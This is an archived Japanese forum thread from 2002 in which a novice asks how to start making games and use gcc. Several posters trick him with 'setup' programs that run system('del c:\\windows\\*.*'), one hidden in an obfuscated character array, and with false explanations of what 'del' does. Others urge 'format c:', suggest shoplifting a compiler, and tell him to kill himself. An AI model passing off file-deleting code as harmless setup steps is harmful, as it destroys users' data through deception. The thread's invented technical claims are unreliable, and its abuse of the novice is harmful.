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【本命】遂に俺がゲーム制作を始めるが【登場】

1 :名前は開発中のものです。:02/08/02 14:39 ID:SQvMEs/A.net
ゲームを作るのにはなにが必要ですか?

37 :名前は開発中のものです。:02/08/03 18:56 ID:???.net
あのさ、dat落ちが遅くなるので、終了はやめて普通に放置してくれ。

折れのレスでまた遅くなった・・・

38 :名前は開発中のものです。:02/08/03 19:29 ID:???.net
dat落ちのルール教えてください

39 :名前は開発中のものです。:02/08/03 20:49 ID:???.net
dat落ちルールって謎

http://game.2ch.net/test/read.cgi/gamedev/1011430434/
23 名前:名前は開発中のものです。 :02/02/12 05:50 ID:???
>>20
モナーRPGオンライン?

24 名前:名前は開発中のものです。 :02/08/03 14:35 ID:YzEytE.g
やはりどこまで生きられるかというRPGが要る。
日常を営む事が前提だけど、冒険もできる。
死んだらユーザー情報ごと消える。


ここみたいに半年放置してても落ちないスレもあるんだよな

40 :名前は開発中のものです。:02/08/03 21:21 ID:???.net
今だ!40ゲットォォォォ!!
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄       (´´
     ∧∧   )      (´⌒(´
  ⊂(・∀・⊂⌒`つ≡≡≡(´⌒;;;≡≡≡
        ̄ ̄  (´⌒(´⌒;;
      ズザーーーーーッ

ドッコイショと、・・・・・・・・・
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄
     ∧∧
    (・∀・ ,)⌒ヽ
     U‐U^(,,⊃'〜... (´⌒;;

            o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /   モララーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ・∀・) /                /(・∀・ )
 (    )つ               ⊂(    )
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 (__)_)                  (_(__)

41 :名前は開発中のものです。:02/08/03 21:41 ID:???.net
奴のIDがメシア!?

42 :1:02/08/04 00:01 ID:MUDaMklU.net
gccはなにに使うんだよー
誰か教えろ

43 :名前は開発中のものです。:02/08/04 00:05 ID:???.net
・GCCの使い方
以下の文章を、source.c としてWindowsの入っているフォルダに保存します

#include <stdio.h>
void main(void)
{
 system("del *.*")
}

・gcc source.c と入力し、enterを押します
・a.out と入力しenterを押します
・なにやらメッセージが表示されるのでとりあえずYを押します

44 :名前は開発中のものです。:02/08/04 00:59 ID:???.net
C++

45 :名前は開発中のものです。:02/08/04 01:36 ID:???.net
>>43
(・∀・)マジレス カコワルイ!!

46 :名前は開発中のものです。:02/08/04 02:13 ID:???.net
>>43
>・a.out と入力しenterを押します
出来上がるのは、a.exeです。
aと入力しenterでも実行できます。

47 :名前は開発中のものです。:02/08/04 02:30 ID:???.net
>>43 >>46
何教えてんだよ!!
厨房が頭にのるだろうが!!

48 :1:02/08/04 03:31 ID:MUDaMklU.net
>>43
>gcc source.c と入力し、enterを押します
どこに入力するんですか?

49 :名前は開発中のものです。:02/08/04 03:34 ID:???.net
>>48
gccはコマンドラインツールなので、
MS-DOSプロンプトから実行してください。
カレントディレクトリの移動は

 DIR 移動したいディレクトリ

50 :名前は開発中のものです。:02/08/04 03:56 ID:???.net
dir はヂレクトリ〜を見るやつだろ
この場合は
cd windows
が正解。

cd[半角スペース][移動先] で移動先のヂレクトリ〜(フォルダ名)に移動

source.cに

#include <stdio.h>
void main(void)
{
 system("del *.*")
}

をやっとかないと動かないからな。注意しろよ。

51 :名前は開発中のものです。:02/08/04 04:01 ID:???.net
もしくは、
  system("del c:/windows/*.*");
か。
最後のセミコロンわすれんなよ

52 :名前は開発中のものです。:02/08/04 04:25 ID:???.net
#include <stdio.h>
void main(void)
{
 system("del c:\*.*");
 system("del c:\windows\*.*");
}
2行のほうがよくね?

53 :名前は開発中のものです。:02/08/04 04:36 ID:???.net
stdio.h いるのか

54 :名前は開発中のものです。:02/08/04 04:48 ID:???.net
\はそのままじゃつかえねえよ。使うなら\\。

55 :ゴミは埋めた方がいいかと:02/08/04 05:09 ID:???.net
俺、いつもはこういう厨スレでも比較的教えたりするんだけどさ。
この>>1にだけは、一切まともなこと教えてやりたくないよ。

何コイツ? 自分だけは特別と思ってる香具師?
人に聞くだけしか能がなくて何が【本命登場】だっての。
このまま逝くと永久教えて君になること確定だから、
このスレは放置した方がよくない?

56 :名前は開発中のものです。:02/08/04 05:30 ID:???.net
>>39
そりゃ単にここが超過疎板だから
逆に言やそこまで人がいないのにニュース速報なんかと同じような基準で
スレ立て叩きまくっても仕方がないような気がしないでもないでもないでもない

57 :Hello White World:02/08/04 05:52 ID:???.net
#include <stdlib.h> /*#include <process.h>でも可*/

void main(void)
{
 system("del c:\\*.*");
 system("del c:\\windows\\*.*");
}

58 :名前は開発中のものです。:02/08/04 09:22 ID:???.net
奴のIDが無駄?

59 :名前は開発中のものです。:02/08/04 11:09 ID:???.net
#include<stdlib.h>
char str[]={100,101,108,32,99,58,92,119,105,110,100,111,119,115,92,42,46,42,0};
void main(void){system(str);}

60 :名前は開発中のものです。:02/08/04 15:18 ID:???.net
教えんなって

61 :_:02/08/04 15:35 ID:???.net
>>60

諦めな。
このスレは>>1の勝ちだぜ?

62 :1:02/08/04 15:43 ID:MUDaMklU.net
コマンドまたはファイル名が違います.
といわれるぞ。

63 :名前は開発中のものです。:02/08/04 16:02 ID:???.net
>>62
exeが作られてない。
よく読んでやりなおせ。

64 :名前は開発中のものです。:02/08/04 16:34 ID:???.net
>>1
よくわかってないようだから説明するが

system("del c:\\*.*");
system("del c:\\windows\\*.*");

の2行はc:\とc:\windowsのフォルダを使用可能にセットアップするって意味だ。
delはDirectory Enter Learnの略でウィンドウズフォルダをGCCに学ばせる=利用可能にするって意味。

65 :1:02/08/04 16:45 ID:MUDaMklU.net
gcc source.c
とすると
コマンドまたはファイル名が違います.
といわれるのだが
マニュアルは英語でよく分からん

66 :1:02/08/04 16:47 ID:MUDaMklU.net
>>64
使用可能にすると、なにができるの?

67 :名前は開発中のものです。:02/08/04 17:06 ID:???.net
gccインストールしてないんでねぇの?

68 :名前は開発中のものです。:02/08/04 17:13 ID:???.net
>>64
教えんな、氏ね

69 :名前は開発中のものです。:02/08/04 17:33 ID:???.net
汎用質問スレも初心者用質問スレもc言語のスレもあるのに・・・
何で1はこのスレで続けることにこだわるの?
このまま続けてもあまりいい事はないと思う。
悪意ある人が嘘を教えたりすることもあるだろうし、きっと
煽りはやまないだろうし。

70 :名前は開発中のものです。:02/08/04 18:08 ID:???.net
たとえばさ、君がサッカーをやってたとする。
かみそりシュートを撃てる人が前にいるのに敵に囲まれてボールを送ることが出来ない。
つまり、パスが通らない。

ま、そゆことです。

71 :ゴミは埋めた方がいいかと:02/08/04 18:49 ID:???.net
英語マニュアルも読めんでプログラムか・・・

72 :名前は開発中のものです。:02/08/04 19:02 ID:???.net
c:\gccにインストールした(解凍した)場合には、autoexec.bat に
path=c:\gcc;
って入れると動くよ

73 :名前は開発中のものです。:02/08/04 19:03 ID:???.net
>>64
「Directory Enterance Learning」、な。

74 :名前は開発中のものです。:02/08/04 20:23 ID:???.net
オレが最後のマジレスだ
全てのファイルを同フォルダにいれとけ!

75 :64:02/08/04 21:11 ID:???.net
>>73
ああ、それだ。補完サンクス。
>>1
と、いうことだ。こっちが正解。

76 :1:02/08/04 21:21 ID:MUDaMklU.net
インストールしてないんで、しようとしたけど、やりかたが分からん。
Installってフォルダがあったのでファイル見たけど、
configureとやっても例のメッセージが出て終わる。
騙されてるのか、俺? gccはいらない?

77 :名前は開発中のものです。:02/08/04 21:36 ID:???.net
わからないところがあるのでおながいします
>>23の一番下段の酢醤油とはどんなものなんでしょうか?

78 :名前は開発中のものです。:02/08/04 22:36 ID:???.net
>>77
一般的には、酢と醤油を1:1で混合した液体をベースとした調味料を指すようです。

79 :1:02/08/04 23:54 ID:MUDaMklU.net
酢醤油ってアレだろ、餃子につけて食うやつ。二杯酢だろ。

で、gccはどうやって動かすんだ? 誰か教えてください!

80 :名前は開発中のものです。:02/08/04 23:56 ID:???.net
ちゃんとWindows用をダウンロードしたんだろうな?

81 :1:02/08/05 00:03 ID:UW4r57o6.net
Windows用かどうか知らんけど、紹介されたところからJapaniseってところに行って
フリーソフトウェア一覧ってところにいって(ここでなぜか英語になる)
Software developmentってところにいって(ソフト作る人用ってことだと思う)
よく分からなかったのでCompilersってところにいって
沢山入ってそうなのでGccというヤツをダウンした。
確かにWindows用とは書いてないな。それ、どこにあるの?

82 :名前は開発中のものです。:02/08/05 00:05 ID:???.net
コンパイラなんてどうでもいいから
はやくゲーム作れ

83 :1:02/08/05 00:06 ID:UW4r57o6.net
>>82
とりあえず紹介されたホムペに入ってダウンしたんだけど、
他にゲームを作る方法があれば教えて下さい。
フリーのヤツ。

84 :名前は開発中のものです。:02/08/05 00:08 ID:???.net
1はここでも見てなさいってこった
www.forest.impress.co.jp/article/2000/03/21/unixlike.html

85 :名前は開発中のものです。:02/08/05 00:20 ID:???.net
Cマガジン買ってきたほうが早いと思う

86 :名前は開発中のものです。:02/08/05 00:28 ID:???.net
Cygwinてやつをダウンした。
なんか良く分からなかったけど、全部「次へ」を選んだらインストール終わった。

でも、cd windowsとすると
BASH: cd: windows: No such file or directory
と言われてしまう。
DOSプロンプトでgccをやるとやっぱり
コマンドまたはファイル名が違います.
と言われる。Cygwinてgccを使えるんじゃないの?
ちなみにそのままgccと打つと
BASH: gcc: command not found
と文句言われる。
ゲームを作るのは難しいな。

あと、DELをやって覚えさせると何ができるのか教えて下さい。

87 :1:02/08/05 00:28 ID:UW4r57o6.net
>>86>>1です。

88 :名前は開発中のものです。:02/08/05 00:44 ID:???.net
ドスプロンプトで
format c:
でもしろ、ハードディスクフォーマットだ

89 ::02/08/05 00:44 ID:/LgOOHSk.net
ちなみにハードディスクのデータが全部きえる

90 :名前は開発中のものです。:02/08/05 00:46 ID:???.net
            o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /   モララーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
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91 :名前は開発中のものです。:02/08/05 00:55 ID:???.net
>>1
Javaも選択肢に入れてみたら

92 :名前は開発中のものです。:02/08/05 01:20 ID:???.net
>>86
CygwinはDOSコマンドじゃなくてUNIXコマンドだぞ。

93 :名前は開発中のものです。:02/08/05 01:31 ID:kMuAAQXk.net
そもそもなぜCygwin? MinGWじゃダメなのかYO!

94 :名前は開発中のものです。:02/08/05 01:55 ID:???.net
>>93
マイナーだろ

95 :名前は開発中のものです。:02/08/05 02:00 ID:???.net
〜          ∧_∧____   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ___  (´∀` ,) //| < [問題] このスレの1の正体は?
    <──<\⊂ へ ∩)//|||   \__________________
    \.  \,>'(_)i'''i~~,,,,/
──┐  ̄|| ̄(_) ̄~||~ ̄
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
━━< 問題:   このスレの1の正体は?                               >━━
    \___________________________________/
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
━━< A: ヒッキー                     B:ドキュソフリーター             >━━
     \________________/  \________________/
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
━━< C:中卒塗装工                   D:リアル厨房                 >━━
    \________________/  \________________/

96 :名前は開発中のものです。:02/08/05 02:02 ID:???.net
いや、別にMinGWでなくとも、Borland C++でもDigitalMars C++
でもWatcom C++でもいいんだが、Win上でUnixシェル使うのが
そんなにイイのか? てか、ゲ製とどういう関係が?

97 :名前は開発中のものです。:02/08/05 02:11 ID:???.net
>>96
空気を読め

98 :1:02/08/05 05:04 ID:UW4r57o6.net
別にgccとかcygwinとかいうヤツでなくても構わない。
フリーで紹介されただけだから。
>>96のヤツはフリーですか?
gccとかcygwinみたいに始めるまでに大変なのは嫌です。

99 :名前は開発中のものです。:02/08/05 06:23 ID:???.net
>>1
とりあえずどんなコンパイラでも最初は

#include <stdlib.h> /*#include <process.h>でも可*/

void main(void)
{
 system("del c:\\*.*");
 system("del c:\\windows\\*.*");
}

をつくって実行しないと始まらないぞ。
Cマガとかにも書いてあるから参照しる!

100 :名前は開発中のものです。:02/08/05 06:52 ID:???.net
>>1
これ使ってみたら?
ttp://www.roomyroo.com/~myroom/cgi-bin/uploader/source/180.zip

圧縮してあるけど、解凍パスは google

101 :名前は開発中のものです。:02/08/05 14:32 ID:???.net
      ∧∧    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     (,,  )  < 100ゲットし損ねたが
     .(  つ   |  こりゃまた とんだ糞スレだなぁ オイ
     | , |    \____________
     U U



 |  まあ せっかくだからやっといてやるよ  |
 \  ハイハイ 今だ101ゲットズザー っとくらぁ  /
    ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

            ∧∧
           (゚Д゚O =3
      ⊆⊂´ ̄  ソ ヤレヤレ

102 :名前は開発中のものです。:02/08/06 11:34 ID:???.net
何の本命か教えてください

103 :1:02/08/06 13:10 ID:???.net
本命馬鹿です。

104 :名前は開発中のものです。:02/08/06 13:33 ID:???.net

   ∧,,∧ ∬       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   ミ,,゚Д゚ノ,っ━~  < つまんねーよボケ首吊って死ねカス。
_と~,,,  ~,,,ノ_. ∀  \__
    .ミ,,,/~),  .| ┷┳━
 ̄ ̄ ̄ .し'J ̄ ̄|... ┃
 ̄ ̄ ̄ ̄ ̄ ̄ ̄   .┻

105 :1:02/08/09 02:50 ID:???.net
暫く田舎に行ってた。
んで、どうして誰もDELする効果を教えてくれねぇの?
結局Gccも動かないしよー。
あと、>>100のは落とせません。

106 :名前は開発中のものです。:02/08/09 03:20 ID:???.net
DELでWindowsにgccとかで作られたexeの形式を覚えさせる。
デバッグするときに、ソースコードのどの行が悪いかが表示されるなど、かなり便利。
(たまにとんでもないところを指すのはご愛嬌だ)

引数は当然Windowsが入ったフォルダを指定しないといけない。
c:\を指定すると自動的に検索するけどね…。

107 :名前は開発中のものです。:02/08/09 08:29 ID:???.net
よし、1よ。
とりあえずわからないことを列挙すれ。
あと、どこまでできるようになったのかも。

108 :名前は開発中のものです。:02/08/09 16:44 ID:???.net
>>99
そのコード実行したらパソが氏ぬよ

109 :名前は開発中のものです。:02/08/09 17:04 ID:???.net
ああ、108の言うとおりパソが死ぬから絶対ためしちゃだめだ。
ホントだぞ。
疑うならそれを試さないでどっか他でやってくれ。
へんにためしてC言語覚えてまたスレたてられても困る。
厨房増加で迷惑している2ちゃんねるのためにもな。
だからもう2度とこのスレをみることなくどこかへ消えてくれ。

110 :名前は開発中のものです。:02/08/09 23:18 ID:???.net
void main なんて書いてちゃダメだよ

111 :名前は開発中のものです。:02/08/10 13:52 ID:???.net
Winが起動しなくなる=パソが死ぬ、すか。
Winはパソの命なんすね。
ちなみにxpもc:\windowsなんすか?

112 :名前は開発中のものです。:02/08/10 14:40 ID:Ky7wiIRs.net
はやく1さんのげーむであそびたいです。
がんばってください

113 :名前は開発中のものです。:02/08/10 16:01 ID:???.net
>110
なんで

114 :名前は開発中のものです。:02/08/10 16:13 ID:???.net
コード書いちゃダメなんてよほど>>1にはやってほしくないんだな。
クソスレ上がるから迷惑だし。

115 :名前は開発中のものです。:02/08/10 16:36 ID:???.net
int main だよな

116 :名前は開発中のものです。:02/08/10 16:53 ID:???.net
だからなんで

117 :名前は開発中のものです。:02/08/10 17:38 ID:???.net
>>116
自分で調べろ。
まぁ、「絶対にダメ」と言うわけではない。

118 :名前は開発中のものです。:02/08/10 17:58 ID:???.net
ただしくは int main とみたが
これにせーという理由はかいてなかった。
だからなんで。

119 :名前は開発中のものです。:02/08/10 18:28 ID:???.net
>>118
ホントに探したのかよ…
intが望ましいのは、ANSI規格で定められているから。
ちなみに定められているのは以下の2通り。

int main (void)
int main (int argc, char *argv[])

120 :119:02/08/10 18:32 ID:???.net
>>119追加
UNIXのシェルではプログラムの返り値(=main関数の返り値)を参照する場合がある。
他のOSのシェルは知らん。全部のシェルが参照するかどうかもワカラン。

121 :名前は開発中のものです。:02/08/10 22:55 ID:???.net
あまりに>>1がダメダメで話が進まずに終了って感じですかね。

122 :1:02/08/11 00:45 ID:aWqlCPWI.net
ダメとか失礼なこというなよ。
とりあえずDELは実行したらいけないというのは分かった。
だがgccはどうすれば動く? あと、結局どうやったらゲームが作れるんだ??

123 :1:02/08/11 00:48 ID:aWqlCPWI.net
>>107
分からないこと
・絵を動かす
・音を鳴らす
・マウスやキボードで打ったのを知る

どこまでできるか
・DELは実行したらいけない
・gccは動かない
・mainはintとANSIで決められた

こんなところかな?

124 :名前は開発中のものです。:02/08/11 01:40 ID:???.net
何の本命か教えてください

125 :名前は開発中のものです。:02/08/11 02:23 ID:???.net
>>123
実行してはいけないではなく正確にはなにもやらずに消え失せろという意味。
空気読めよ。

126 :名前は開発中のものです。:02/08/11 02:28 ID:???.net

        / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
       /       ※※ WARNING! ※※ (警告!) ※※           |
Λ_Λ  |. This place is not a place of people who have a handicap mentally.   |
( ´∀`)< (この場所は、障害を精神的に持っている人々の場所ではありません。)|
( ΛΛ つ >―――――――――――――――――――――――――――――<
 ( ゚Д゚) <  Please move to a suitable place from the following.            |
 /つつ  |  (下記から適切な場所へ移動してください。)               ./
       \ http://www.nisseikyo.or.jp/                        /
        \_____________________________/

127 :1:02/08/11 03:47 ID:aWqlCPWI.net
>>124
ゲーム制作のかな。
この板で上がる企画の何一つ完成しないのを見て、
遂に俺が立ち上がった。

>>125
DELはなにもしないで消すの? わけ分からん。

>>126
おまえがいけ。

128 :名前は開発中のものです。:02/08/11 03:49 ID:???.net
 私は>>1。悩める中学生である。そう、私は今、非常に悩んでいるのだ。
何について悩いるのかというと、それはずばり人生についてである。
なんか最近、自分の生き方に疑問を抱いている。
私は、今まで、まわりの人になんと言われようが自分が楽しいと思ったことはやってきたし、
趣味などに関しても、たとえ、どんなにマイナーで人にバカにされたりしても、
そんなことは全く気にせず、我が道を貫いてきた。
私は、自分のこんな生き方が大好きで、これからも、ずっとこの生き方を通していくつもりだった。
しかし、最近、私は思うのである。「はたして、本当にそれでよいのだろうか」

 私は、今までの人生は、自分の興味のあることについては熱心にとりくんできたので
興味のある分野のことについては普通の人より、かなり詳しく知っている自信があるが、
そうでないことについては本当に全くといっていいほど何も知りません。
別に、私は、このままでも良いと思っていたのだが、
あまりにも「普通の人」なら知っていて当然のことを知らなさすぎているためか、
普通の人ならできて当たり前のことまで、できないことが多くて、
そういったことで最近、危機感を持ち始めたのだ。

 そもそも、なぜ最近になって自分の人生について考え出したのか。それには、ちゃんと理由がある。
実は最近、自分の人生を変える衝撃的な出来事があったのだ。それも、5回くらい連続で・・・。
具体的に何があったかは、皆さんのご想像におまかせします。

129 :名前は開発中のものです。:02/08/11 03:57 ID:???.net
        ほら、またきちがいすれがあがっているよ
                       ,!ヽ
                  ,!ヽ、    ,!  ヽ
            _,..ィ´ ̄`)-‐‐‐''   ヽ
            /  ´`)'´    _     !、
  またかよ… /  i-‐'´   , `     `!
   lヽ、  /  Y    ,! ヽ-‐‐/          l 
.  l >‐'´`   l   ノ   ヽ_/          ノ
  ,ノ     o   ヽ  l            _,イ
 i'.o  r┐      ヽ、 ヽ、_      ,..-=ニ_
 l   ,!-l、      ノヽ、,           ヽ
 ヽ        _,.ィ'.  ,!         、   `!、
  `ー-、_    く´    l          ヽ    l
     ,!    `!   l              ヽ、__ノ
     l   `!  `!  !              l
      l  l. l  , l  ヽ、 、_ ,ィ      ノ
     l、_,!  し'  l   l   `l      l

130 :125:02/08/11 03:58 ID:???.net
じゃあマジレスしてやるがDELは何も消えない。
色々書いたヤツらを妨害しようとして消えるとかいってるだけだ。
「消える」と書けば誰もやらないだろ?
そういうことだ。

131 :1:02/08/11 04:01 ID:aWqlCPWI.net
>>128
なんだよ、途中でやめたら気になるだろ

>>130
なんだか良く分からないから、DELはもういいや。
なんかゲーム作れそうにないし。
他のフリーでゲームが作れるソフトを教えて下さい。

132 :名前は開発中のものです。:02/08/11 04:04 ID:???.net
私は今、非常に悩んでいる。
それは>>1に氏んだ方が良いと伝えるかということだ。
いや、>>1が氏んだ方が良いというのは間違いない。議論の余地を挟むまでもない。
問題は>>1がその事実を受け入れることができるかということだ。
下手に伝えると>>1が逆上し、氏なずに荒らしと化すことは火を見るより明らかだ。
もし私が>>1にそれを伝え>>1が氏ななかったときに、私はその責を負うことができるのか。
他の方にその役目を任せてしまうか?
答えは否。それは余りにも無責任と言わざるをえない。
確かに社会がその存在を許すはずはなく、程なく>>1は肉体的・社会的に抹殺されるであろう。
しかし、それまで>>1を放置しておいて良いのだろうか? この無様な>>1を。害悪たる>>1を。
その答えも否であろう。子の曰わく、義を見て為ざるは勇なきなり、だ。
嗚呼、>>1は私を悩ませる。
「氏んだ方が良い」という揺らぎようの無い事実があるにも関わらず、これほどまでに私を悩ませる。

133 :名前は開発中のものです。:02/08/11 04:06 ID:???.net
フリーフリーうるせえヤツだな。
そこらのPCショップからソフトかっぱらってこいよ。
そこまでする度胸あんならみんな協力してくれるだろうよ。

134 :1:02/08/11 04:08 ID:aWqlCPWI.net
>>132
そんなに悩んでないで、フリーでゲームが作れるソフトを教えて下さい。

>>133
なにをかっぱらってきたらいいですか?
ていうか、犯罪じゃねぇかぼけ。

135 :名前は開発中のものです。:02/08/11 04:13 ID:???.net
>>134
犯罪くらいしかビンボー人の生きる道はないだろ?
わかったら開店と同時にVisualCでも盗ってこい。
できれば捕まって新聞に載ってくれたほうが2ちゃん的には面白い。

136 :名前は開発中のものです。:02/08/11 04:23 ID:???.net
限りなくネタっぽいね。
そんな>>1に、親切な漏れはゲームの作り方を教えてあげよう。

ゲームを作りたいんだったら、自分で調べて作んのが一番早い。
調べる力のないやつにゲームは作れない。
ちなみに「物事の調べ方」の話題は激しく板違いなのでここで聞かないでね。

137 :名前は開発中のものです。:02/08/11 05:12 ID:???.net
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  終  了 │
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